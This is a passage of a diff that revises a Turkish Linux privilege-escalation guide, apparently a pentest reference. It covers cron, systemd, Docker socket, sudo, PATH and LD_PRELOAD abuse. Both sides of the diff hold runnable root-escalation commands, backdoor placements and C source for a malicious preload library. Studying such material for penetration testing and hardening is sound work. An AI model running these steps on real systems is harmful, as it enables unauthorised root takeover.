overwrite.sh_\ +O zaman, bir root kabuğuna şu şekilde erişebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -363,13 +362,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Bir joker karakteriyle bir betik kullanan Cron (Joker Karakteri Enjeksiyonu) -Eğer bir betik kök kullanıcısı tarafından çalıştırılıyorsa ve komut içinde "**\***" karakteri varsa, bunu istenmeyen şeyler yapmak için (örneğin ayrıcalık yükseltme) kullanabilirsiniz. Örnek: +Eğer bir betik root tarafından çalıştırılıyorsa ve komut içinde "**\***" karakteri varsa, bunu istenmeyen şeyler yapmak için (örneğin ayrıcalık yükseltme) kullanabilirsiniz. Örnek: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Eğer joker karakteri bir yolun önünde gelirse** _**/bazı/yol/\***_ **şeklinde, zayıf değildir (hatta** _**./\***_ **değil).** +**Eğer joker karakteri bir yolun önünde gelirse** _**/bazı/yol/\***_ **şeklinde, bu zayıf değildir (hatta** _**./\***_ **değil).** -Daha fazla joker karakteri sömürü hilesi için aşağıdaki sayfayı okuyun: +Daha fazla joker karakteri sömürüsü hilesi için aşağıdaki sayfayı okuyun: {% content-ref url="wildcards-spare-tricks.md" %} [wildcards-spare-tricks.md](wildcards-spare-tricks.md) @@ -377,7 +376,7 @@ Daha fazla joker karakteri sömürü hilesi için aşağıdaki sayfayı okuyun: ### Cron betiği üzerine yazma ve sembolik bağlantı -Eğer **kök tarafından yürütülen bir cron betiğini değiştirebiliyorsanız**, çok kolay bir şekilde bir kabuk elde edebilirsiniz: +Eğer **kök tarafından yürütülen bir cron betiğini değiştirebiliyorsanız**, çok kolay bir şekilde bir kabuk alabilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed @@ -407,12 +406,12 @@ Bir cron işi oluşturmak mümkündür **bir yorumdan sonra bir satır sonu kara ### Yazılabilir _.service_ dosyaları -Herhangi bir `.service` dosyasını yazabilir mi diye kontrol edin, eğer yapabilirseniz, onu **değiştirebilirsiniz** böylece hizmet **başlatıldığında**, **yeniden başlatıldığında** veya **durduğunda** (belki makinenin yeniden başlatılmasını beklemeniz gerekebilir) **arka kapınızı çalıştırabilirsiniz**.\ +Herhangi bir `.service` dosyasını yazabilir mi diye kontrol edin, eğer yapabilirseniz, **onu değiştirebilirsiniz** böylece hizmet **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** sizin **arka kapınızı çalıştırabilir** (belki makinenin yeniden başlatılmasını beklemeniz gerekebilir).\ Örneğin, arka kapınızı .service dosyasının içine **`ExecStart=/tmp/script.sh`** şeklinde oluşturun. ### Yazılabilir hizmet ikili dosyaları -Unutmayın ki eğer hizmetler tarafından **yürütülen ikili dosyalara yazma izniniz varsa**, onları arka kapılar için değiştirebilirsiniz, böylece hizmetler yeniden yürütüldüğünde arka kapılar da yürütülecektir. +Hizmetler tarafından **çalıştırılan ikili dosyalara yazma izniniz varsa**, onları arka kapılar için değiştirebilirsiniz, böylece hizmetler yeniden çalıştırıldığında arka kapılar çalıştırılacaktır. ### systemd PATH - Göreceli Yollar @@ -420,19 +419,19 @@ Unutmayın ki eğer hizmetler tarafından **yürütülen ikili dosyalara yazma i ```bash systemctl show-environment ``` -Eğer yolun herhangi bir klasörüne **yazma** izniniz olduğunu fark ederseniz, muhtemelen **yetki yükseltme** yapabilirsiniz. Servis yapılandırma dosyalarında kullanılan **göreceli yolları** aramanız gerekebilir: +Eğer yolun herhangi bir klasörüne **yazma** izniniz olduğunu fark ederseniz, muhtemelen **yetki yükseltme** yapabilirsiniz. **Hizmet yapılandırmalarında kullanılan göreceli yolları** aramalısınız gibi dosyalar: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Ardından, **yürütülebilir** bir dosya oluşturun ve yazabileceğiniz systemd PATH klasöründeki **göreceli yol ikili dosya ile aynı isme sahip** olacak şekilde, hizmetin **Başlat, Durdur, Yeniden Yükle** gibi zafiyetli eylemi gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacak** (genellikle yetkisiz kullanıcılar hizmetleri başlatıp durduramaz ancak `sudo -l` komutunu kullanıp kullanamadığınızı kontrol edin). +Sonra, **yürütülebilir** bir dosya oluşturun ve yazabileceğiniz systemd PATH klasöründeki **ilişkili yol ikili dosyasıyla aynı ada sahip** oluşturun ve hizmete **bağlı eylemi yürütmesi istendiğinde**, **arka kapınız çalıştırılacaktır** (genellikle yetkisiz kullanıcılar hizmetleri başlatamaz/durduramaz ancak `sudo -l` komutunu kullanıp kullanamadığınızı kontrol edin). -**Servisler hakkında daha fazla bilgi için `man systemd.service` komutunu kullanın.** +**Hizmetler hakkında daha fazla bilgi edinin `man systemd.service`.** ## **Zamanlayıcılar** -**Zamanlayıcılar**, adı `**.timer**` ile biten systemd birim dosyalarıdır ve `**.service**` dosyalarını veya olayları kontrol eder. **Zamanlayıcılar**, takvim zaman olayları ve monotonik zaman olayları için yerleşik destek sağladıkları için cron'un alternatifi olarak kullanılabilir ve asenkron olarak çalıştırılabilirler. +**Zamanlayıcılar**, adı `**.timer**` ile biten systemd birim dosyalarıdır ve `**.service**` dosyalarını veya etkinlikleri kontrol eder. **Zamanlayıcılar**, takvim zamanı etkinlikleri ve monotonik zaman etkinlikleri için yerleşik destek sağladıkları için cron'un alternatifi olarak kullanılabilir ve asenkron olarak çalıştırılabilir. Tüm zamanlayıcıları şu şekilde sıralayabilirsiniz: ```bash @@ -440,52 +439,52 @@ systemctl list-timers --all ``` ### Yazılabilir zamanlayıcılar -Bir zamanlayıcıyı değiştirebiliyorsanız, onu bir `.service` veya `.target` gibi systemd.unit'in mevcut olanlarını çalıştırmak için kullanabilirsiniz. +Bir zamanlayıcıyı değiştirebiliyorsanız, onu bir `.service` veya `.target` gibi systemd.unit varlıklarını çalıştırmak için kullanabilirsiniz. ```bash Unit=backdoor.service ``` Belgede Ünite'nin ne olduğunu okuyabilirsiniz: -> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" olmayan bir birim adıdır. Belirtilmezse, bu değer zamanlayıcı biriminin adı hariç aynı ada sahip bir hizmete varsayılan olarak ayarlanır. (Yukarıya bakınız.) Etkinleştirilen birim adının ve zamanlayıcı biriminin birim adının, sonek hariç aynı şekilde adlandırılması önerilir. +> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" olmayan bir birim adıdır. Belirtilmezse, bu değer zamanlayıcı biriminin adı hariç aynı isme sahip bir hizmete varsayılan olarak ayarlanır. (Yukarıya bakınız.) Etkinleştirilen birim adının ve zamanlayıcı biriminin birim adının, sonek hariç olmak üzere aynı şekilde adlandırılması önerilir. Bu izni kötüye kullanmak için şunlara ihtiyacınız olacaktır: * **Yazılabilir bir ikili dosya yürüten** bir systemd birimi (örneğin `.service`) bulun -* **Göreceli bir yol yürüten** ve **systemd PATH** üzerinde **yazma izinleriniz** olan bir systemd birimi bulun (o yürütülebilir dosyayı taklit etmek için) +* **Göreceli bir yol yürüten** ve **sisteminizde yazma izinleriniz** olan **systemd YOLU** üzerinde **yürütülebilir dosyayı taklit etmek** için yazma izinleriniz olan bir systemd birimi bulun **Zamanlayıcılar hakkında daha fazla bilgi için `man systemd.timer` komutunu kullanın.** ### **Zamanlayıcıyı Etkinleştirme** -Bir zamanlayıcıyı etkinleştirmek için kök ayrıcalıklarına ve şu komutu çalıştırmaya ihtiyacınız vardır: +Bir zamanlayıcıyı etkinleştirmek için kök ayrıcalıklarına ihtiyacınız vardır ve şunu yürütmeniz gerekir: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Not alın **zamanlayıcı**, `/etc/systemd/system/.wants/.timer` üzerinde bir sembolik bağ oluşturularak **etkinleştirilir**. +Not **:timer:** oluşturarak **etkinleştirilir** `/etc/systemd/system/.wants/.timer` üzerine bir sembolik bağ oluşturarak. ## Soketler -Unix Domain Sockets (UDS), istemci-sunucu modelleri içinde aynı veya farklı makinelerde **işlem iletişimini** sağlar. Standart Unix tanımlayıcı dosyalarını kullanarak bilgisayarlar arası iletişim için kurulurlar ve `.socket` dosyaları aracılığıyla yapılandırılırlar. +Unix Domain Sockets (UDS), istemci-sunucu modelleri içinde aynı veya farklı makinelerde **işlem iletişimini** sağlar. İnter-bilgisayar iletişimi için standart Unix tanımlayıcı dosyalarını kullanır ve `.socket` dosyaları aracılığıyla kurulur. -Soketler, `.socket` dosyaları kullanılarak yapılandırılabilir. +Soketler `.socket` dosyaları kullanılarak yapılandırılabilir. -Soketler hakkında daha fazla bilgi için `man systemd.socket` komutunu kullanın. Bu dosya içinde birkaç ilginç parametre yapılandırılabilir: +**Soketler hakkında daha fazla bilgi edinin `man systemd.socket`.** Bu dosya içinde birkaç ilginç parametre yapılandırılabilir: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak bir özet, sokete **nerede dinleyeceğini belirtmek** için kullanılır (AF\_UNIX soket dosyasının yolu, dinlemek için IPv4/6 ve/veya port numarası vb.). -- `Accept`: Bir mantıksal argüman alır. Eğer **true** ise, her gelen bağlantı için bir **hizmet örneği başlatılır** ve sadece bağlantı soketi ona iletilir. Eğer **false** ise, tüm dinleme soketleri kendileri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi başlatılır. Bu değer, tek bir hizmet biriminin tüm gelen trafiği koşulsuz olarak ele aldığı datagram soketleri ve FIFO'lar için göz ardı edilir. **Varsayılan olarak false**. Performans nedeniyle, yeni daemon'ların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir. -- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırını alır, bu komutlar dinleme **soketleri**/FIFO'lar **oluşturulmadan önce** veya **sonra** yürütülür ve bağlanır. Komut satırının ilk belirteci mutlaka mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelmelidir. -- `ExecStopPre`, `ExecStopPost`: Dinleme **soketleri**/FIFO'lar **kapatılmadan önce** veya **sonra** yürütülen ek **komutlar**. -- `Service`: Gelen trafiği **etkinleştirmek için** **hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için izin verilir. Varsayılan olarak, aynı adı taşıyan hizmeti belirtir (sonek değiştirilmiş olarak). Çoğu durumda, bu seçeneği kullanmanın gerekli olmaması gerekmektedir. +* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak bir özet, sokete **nerede dinleyeceğini belirtmek** için kullanılır (AF\_UNIX soket dosyasının yolu, dinlemek için IPv4/6 ve/veya port numarası vb.). +* `Accept`: Bir boolean argüman alır. **true** ise, her gelen bağlantı için bir **hizmet örneği başlatılır** ve yalnızca bağlantı soketi ona iletilir. **false** ise, tüm dinleme soketleri kendileri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi başlatılır. Bu değer, tek bir hizmet biriminin tüm gelen trafiği koşulsuz olarak ele aldığı veri yuvaları ve FIFO'lar için yoksayılır. **Varsayılan olarak false**. Performans nedenlerinden dolayı, yeni daemon'ların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir. +* `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır, bunlar dinleme **soketlerinden önce** veya **sonra** yürütülür/FIFO'lar **oluşturulur** ve bağlanır. Komut satırının ilk belirteci mutlaka mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelmelidir. +* `ExecStopPre`, `ExecStopPost`: Dinleme **soketlerinden önce** veya **sonra** ek **komutlar** yürütülür/FIFO'lar **kapatılır** ve kaldırılır. +* `Service`: Gelen trafiği **etkinleştirmek için hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için izin verilir. Varsayılan olarak, aynı adı taşıyan hizmeti belirtir (soneki değiştirilmiş olarak). Çoğu durumda, bu seçeneği kullanmanın gerekli olmaması gerekir. ### Yazılabilir .socket dosyaları -Eğer **yazılabilir** bir `.socket` dosyası bulursanız, `[Socket]` bölümünün başına şöyle bir şey ekleyebilirsiniz: `ExecStartPre=/home/kali/sys/backdoor` ve soket oluşturulmadan önce arka kapı çalıştırılacaktır. Bu nedenle, muhtemelen makinenin yeniden başlatılmasını **beklemeniz gerekecektir.**\ -_Not: Sistem o soket dosyası yapılandırmasını kullanıyor olmalı veya arka kapı çalıştırılmayacaktır_ +Eğer **yazılabilir** bir `.socket` dosyası bulursanız, `[Socket]` bölümünün başına şöyle bir şey ekleyebilirsiniz: `ExecStartPre=/home/kali/sys/backdoor` ve arka kapı soket oluşturulmadan önce yürütülecektir. Bu nedenle, muhtemelen makinenin yeniden başlatılmasını **beklemeniz gerekebilir.**\ +_Not: Sistem o soket dosyası yapılandırmasını kullanıyor olmalı veya arka kapı yürütülmeyecektir_ ### Yazılabilir soketler -Eğer **yazılabilir bir soket** belirlerseniz (_şu anda Unix Soketleri hakkında konuşuyoruz ve yapılandırma `.socket` dosyaları hakkında değil_), o soketle **iletişim kurabilir** ve belki bir zafiyeti sömürebilirsiniz. +Eğer **herhangi bir yazılabilir soket** belirlerseniz (_şu anda Unix Soketleri hakkında konuşuyoruz ve `.socket` dosyaları yapılandırması hakkında değil_), o soketle **iletişim kurabilir** ve belki bir zafiyeti sömürebilirsiniz. ### Unix Soketlerini Sırala ```bash @@ -514,7 +513,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` ### Yazılabilir Docker Soketi -Docker soketi, genellikle `/var/run/docker.sock` konumunda bulunur ve güvenli bir şekilde korunmalıdır. Varsayılan olarak, bu soket `root` kullanıcısı ve `docker` grubundaki üyeler tarafından yazılabilir durumdadır. Bu sokete yazma erişiminin olması, ayrıcalık yükseltmeye yol açabilir. İşte bunun nasıl yapılabileceğine ve Docker CLI kullanılamıyorsa alternatif yöntemlere dair ayrıntılar: +Docker soketi, genellikle `/var/run/docker.sock` konumunda bulunan ve güvenli olması gereken kritik bir dosyadır. Varsayılan olarak, bu dosya `root` kullanıcısı ve `docker` grubundaki üyeler tarafından yazılabilir durumdadır. Bu sokete yazma erişiminin olması, ayrıcalık yükseltmeye yol açabilir. Bunun nasıl yapılabileceği ve Docker CLI kullanılamıyorsa alternatif yöntemler aşağıda açıklanmıştır. #### **Docker CLI ile Ayrıcalık Yükseltme** @@ -523,11 +522,11 @@ Eğer Docker soketine yazma erişiminiz varsa, aşağıdaki komutları kullanara docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Bu komutlar, ana bilgisayar dosya sisteminde kök düzey erişime sahip bir konteyneri çalıştırmanıza olanak tanır. +Bu komutlar, ana bilgisayar dosya sisteminin kök düzey erişimine sahip bir konteyneri çalıştırmanıza olanak tanır. #### **Docker API'sını Doğrudan Kullanma** -Docker CLI kullanılamadığında Docker API'si ve `curl` komutları kullanılarak Docker soketi manipüle edilebilir. +Docker CLI kullanılamadığında Docker soketi, Docker API ve `curl` komutları kullanılarak hala manipüle edilebilir. 1. **Docker Görüntülerini Listeleme:** Mevcut görüntülerin listesini alın. @@ -545,7 +544,7 @@ Yeni oluşturulan konteyneri başlatın: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Konteynere Bağlanma:** `socat` kullanarak bir bağlantı kurarak konteynere komut yürütme imkanı sağlayın. +3. **Konteynere Bağlanma:** `socat` kullanarak bir bağlantı kurarak, içinde komut yürütme imkanı sağlayan bir bağlantı oluşturun. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -555,13 +554,13 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` bağlantısını kurduktan sonra, kök düzey erişimine sahip olarak ana bilgisayar dosya sisteminde doğrudan komutları konteynerde yürütebilirsiniz. +`socat` bağlantısını kurduktan sonra, ana bilgisayar dosya sisteminin kök düzey erişimine sahip olarak konteynerde doğrudan komutlar yürütebilirsiniz. ### Diğerleri Docker soketi üzerinde yazma izinleriniz varsa çünkü **`docker` grubu içindesiniz**, [**ayrıcalıkları yükseltmek için daha fazla yolunuz olabilir**](interesting-groups-linux-pe/#docker-group). [**Docker API'nin bir portta dinlediği durumda, bunu tehlikeye atabilirsiniz**](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Docker'dan kaçmak veya ayrıcalıkları yükseltmek için **daha fazla yol** için kontrol edin: +Docker'dan kaçmak veya ayrıcalıkları yükseltmek için **daha fazla yolunuzu kırmak için** kontrol edin: {% content-ref url="docker-security/" %} [docker-security](docker-security/) @@ -585,13 +584,13 @@ Eğer **`runc`** komutunu kullanabildiğinizi fark ederseniz, **ayrıcalıkları ## **D-Bus** -D-Bus, uygulamaların etkili bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan sofistike bir **İşlem Arası İletişim (IPC) sistemi**dir. Modern Linux sistemi göz önünde bulundurularak tasarlanmış olup, farklı uygulama iletişimi için sağlam bir çerçeve sunar. +D-Bus, uygulamaların etkili bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan sofistike bir **İşlem Arası İletişim (IPC) sistemi**dir. Modern Linux sistemi göz önünde bulundurularak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar. -Sistem, işlemler arası veri alışverişini artıran temel IPC'yi destekler ve **gelişmiş UNIX alan soketlerini** hatırlatan olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth hizmetinden gelen bir arama sinyali, müzik çaların sessizleşmesine neden olabilir, kullanıcı deneyimini artırır. Ayrıca, D-Bus, uygulamalar arasında hizmet isteklerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler, geleneksel olarak karmaşık olan süreçleri basitleştirir. +Sistem, işlem arası iletişimi geliştiren temel IPC'yi destekler ve veri alışverişini artırır, **gelişmiş UNIX etki alanı soketlerini** hatırlatır. Ayrıca olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth hizmetinden gelen bir arama sinyali, bir müzik çaların sessizleşmesine neden olabilir, kullanıcı deneyimini artırır. Ayrıca, D-Bus, hizmet isteklerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler, geleneksel olarak karmaşık olan süreçleri basitleştirir. -D-Bus, eşleşen politika kurallarının kümülatif etkisine dayanarak mesaj izinlerini (yöntem çağrıları, sinyal yayınları vb.) yöneten bir **izin/engelleme modeli** üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri belirtir ve bu izinlerin kötüye kullanılmasıyla ayrıcalık yükseltmesine olanak tanır. +D-Bus, mesaj izinlerini (yöntem çağrıları, sinyal yayınları vb.) eşleşen politika kurallarının kümülatif etkisine dayanarak yöneten bir **izin/izin verme modeli** üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri yönetir ve bu izinlerin sömürülmesi yoluyla ayrıcalık yükseltmesine olanak tanır. -Örneğin, `/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasındaki bir politika, kök kullanıcısının `fi.w1.wpa_supplicant1`'e ait mesajları sahiplenme, gönderme ve alma izinlerini detaylandırır. +Örneğin, `/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasındaki bir politika, kök kullanıcısının `fi.w1.wpa_supplicant1`'e ait mesajları sahiplenme, gönderme ve almasına ilişkin izinleri detaylandırır. Belirli bir kullanıcı veya grup belirtilmeyen politikalar evrensel olarak uygulanırken, "varsayılan" bağlam politikaları, diğer belirli politikalarla kapsanmayan tüm uygulamalar için geçerlidir. ```xml @@ -637,14 +636,14 @@ lsof -i ``` ### Açık Portlar -Her zaman, erişmeden önce etkileşimde bulunamadığınız makinede çalışan ağ servislerini kontrol edin: +Her zaman, erişmeden önce etkileşimde bulunamadığınız makinede çalışan ağ hizmetlerini kontrol edin: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Trafik dinleyebilir misiniz kontrol edin. Eğer yapabiliyorsanız, bazı kimlik bilgilerini ele geçirebilirsiniz. +Trafik dinleyebildiğinizi kontrol edin. Eğer yapabiliyorsanız, bazı kimlik bilgilerini ele geçirebilirsiniz. ``` timeout 1 tcpdump ``` @@ -652,7 +651,7 @@ timeout 1 tcpdump ### Genel Sıralama -Kendiniz **kim** olduğunuzu, hangi **yetkilere** sahip olduğunuzu, sistemlerde hangi **kullanıcıların** bulunduğunu, hangilerinin **giriş yapabileceğini** ve hangilerinin **kök yetkilerine** sahip olduğunu kontrol edin: +Kendinizin kim olduğunu, hangi ayrıcalıklara sahip olduğunuzu, sistemlerde hangi kullanıcıların bulunduğunu, hangilerinin giriş yapabileceğini ve hangilerinin kök ayrıcalıklarına sahip olduğunu kontrol edin: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -689,7 +688,7 @@ Kök ayrıcalıklarını size verebilecek **bazı grup üyesi** olup olmadığı ### Pano -Pano içinde ilginç bir şey olup olmadığını kontrol edin (mümkünse) +Panoda ilginç bir şey olup olmadığını kontrol edin (mümkünse) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -706,18 +705,18 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bilinen şifreler -Eğer ortamın **herhangi bir şifresini biliyorsanız**, her bir kullanıcı olarak giriş yapmaya çalışın **kullanıcı**. +Eğer ortamın **herhangi bir şifresini biliyorsanız**, her bir kullanıcı olarak giriş yapmaya çalışın. ### Su Brute -Eğer çok fazla gürültü yapmaktan çekinmiyorsanız ve bilgisayarda `su` ve `timeout` ikilisi mevcutsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcıyı brute-force deneyebilirsiniz.\ +Eğer çok fazla gürültüye neden olmaktan çekinmiyorsanız ve bilgisayarda `su` ve `timeout` ikilisi bulunuyorsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcıyı brute-force deneyebilirsiniz.\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite), `-a` parametresi ile kullanıcıları brute-force denemeye çalışır. ## Yazılabilir PATH kötüye kullanımları ### $PATH -Eğer $PATH'in içindeki bazı klasörlere **yazabileceğinizi** fark ederseniz, **yazılabilir klasörün içine geri kapı oluşturarak** ayrı bir kullanıcı (genellikle root) tarafından çalıştırılacak bazı komutların adını oluşturarak ayrıcalıkları yükseltebilirsiniz ve bu komutun $PATH'teki yazılabilir klasörünüzden önceki bir klasörden yüklenmediğinden emin olabilirsiniz. +Eğer $PATH'in içindeki bazı klasörlere **yazabileceğinizi** fark ederseniz, **yazılabilir klasörün içine geri kapı oluşturarak** ayrı bir kullanıcı (genellikle root) tarafından çalıştırılacak bazı komutların adını taşıyan bir geri kapı oluşturarak ayrıcalıkları yükseltebilirsiniz ve bu komutun $PATH içindeki yazılabilir klasörünüzden önce yer almayan bir klasörden yüklenmediğinden emin olabilirsiniz. ### SUDO ve SUID @@ -761,7 +760,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo yürütme yollarını atlayarak -Diğer dosyaları okumak için **atla** veya **sembolik bağlantılar** kullan. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ +Diğer dosyaları okumak veya sembolik bağlantıları kullanmak için **atla**. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -778,9 +777,9 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Karşı önlemler**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo komutu/SUID ikili dosya yolu belirtilmeden +### Sudo komutu/SUID ikili dosyası komut yolu belirtilmeden -Eğer **sudo izni** tek bir komuta **yol belirtilmeden verilmişse**: _hacker10 ALL= (root) less_ PATH değiştirilerek bunu sömürülebilirsiniz. +Eğer **sudo izni** bir komuta **yol belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değiştirilerek bunu sömürülebilirsiniz. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" @@ -792,23 +791,23 @@ Bu teknik ayrıca bir **suid** ikili dosyasının **yolunu belirtmeden başka bi ### Komut yolunu belirten SUID ikili dosya -Eğer **suid** ikili dosyası **yolu belirterek başka bir komutu çalıştırıyorsa**, o zaman, suid dosyanın çağırdığı komut adında bir **fonksiyon ihraç etmeyi** deneyebilirsiniz. +Eğer **suid** ikili dosyası **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman, suid dosyanın çağırdığı komut adında bir **fonksiyon ihraç etmeyi** deneyebilirsiniz. -Örneğin, bir suid ikilisi _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, bu fonksiyonu oluşturup ihraç etmeyi denemelisiniz: +Örneğin, bir suid ikili dosya _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, bu fonksiyonu oluşturup ihraç etmeyi denemelisiniz: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` ### LD\_PRELOAD & **LD\_LIBRARY\_PATH** -**LD\_PRELOAD** çevresel değişkeni, yükleyicinin diğer tüm kütüphanelerden önce, standart C kütüphanesi (`libc.so`) dahil olmak üzere belirtilen bir veya daha fazla paylaşılan kütüphaneyi (.so dosyaları) yüklemek için kullanılır. Bu işlem, bir kütüphaneyi önceden yükleme olarak bilinir. +**LD\_PRELOAD** çevresel değişkeni, yükleyicinin diğer tüm kütüphanelerden önce, özellikle `libc.so` gibi standart C kütüphanesinden önce yüklenmesi gereken bir veya daha fazla paylaşılan kütüphane (.so dosyaları) belirtmek için kullanılır. Bu işlem, bir kütüphanenin önceden yüklenmesi olarak bilinir. Ancak, sistem güvenliğini korumak ve özellikle **suid/sgid** yürütülebilir dosyalarla bu özelliğin kötüye kullanılmasını önlemek için sistem belirli koşulları zorlar: -* Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkili kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalarda **LD\_PRELOAD**'u yok sayar. -* Suid/sgid'li yürütülebilir dosyalar için, yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler önceden yüklenir. +- Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkin kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalarda **LD\_PRELOAD**'u yok sayar. +- Suid/sgid'li yürütülebilir dosyalar için, yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler önceden yüklenir. -Ayrıcalık yükseltmesi, `sudo` ile komutları yürütme yeteneğine sahipseniz ve `sudo -l` çıktısı **env\_keep+=LD\_PRELOAD** ifadesini içeriyorsa meydana gelebilir. Bu yapılandırma, **LD\_PRELOAD** çevresel değişkeninin kalmasına ve `sudo` ile komutlar çalıştırıldığında tanınmasına izin verir, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla keyfi kodun yürütülmesine yol açabilir. +Ayrıcalık yükseltmesi, `sudo` ile komutları yürütme yeteneğine sahipseniz ve `sudo -l` çıktısı **env\_keep+=LD\_PRELOAD** ifadesini içeriyorsa meydana gelebilir. Bu yapılandırma, **LD\_PRELOAD** çevresel değişkeninin kalıcı olmasına ve `sudo` ile komutlar çalıştırıldığında tanınmasına izin verir, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla keyfi kodun yürütülmesine yol açabilir. ``` Defaults env_keep += LD_PRELOAD ``` @@ -825,17 +824,17 @@ setuid(0); system("/bin/bash"); } ``` -Ardından **derleyin** kullanarak: +Ardından şunu kullanarak derleyin: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Son olarak, **ayrıcalıkları yükseltin** çalıştırarak +Son olarak, **izinleri yükseltin** çalıştırarak. ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` {% hint style="danger" %} -Benzer bir ayrıcalık yükseltme saldırısı, saldırganın kütüphanelerin aranacağı yolunu kontrol ettiği **LD\_LIBRARY\_PATH** çevresel değişkeni kontrol ediyorsa istismar edilebilir. +Benzer bir ayrıcalık yükseltme saldırısı, saldırganın kütüphanelerin aranacağı yolunu kontrol ettiği için **LD\_LIBRARY\_PATH** çevresel değişkenini kontrol ediyorsa istismar edilebilir. {% endhint %} ```c #include @@ -862,9 +861,9 @@ Eğer normalden farklı görünen **SUID** izinlerine sahip bir ikili dosya ile ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Örneğin, _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak, bir zafiyet potansiyelini işaret edebilir. +Örneğin, 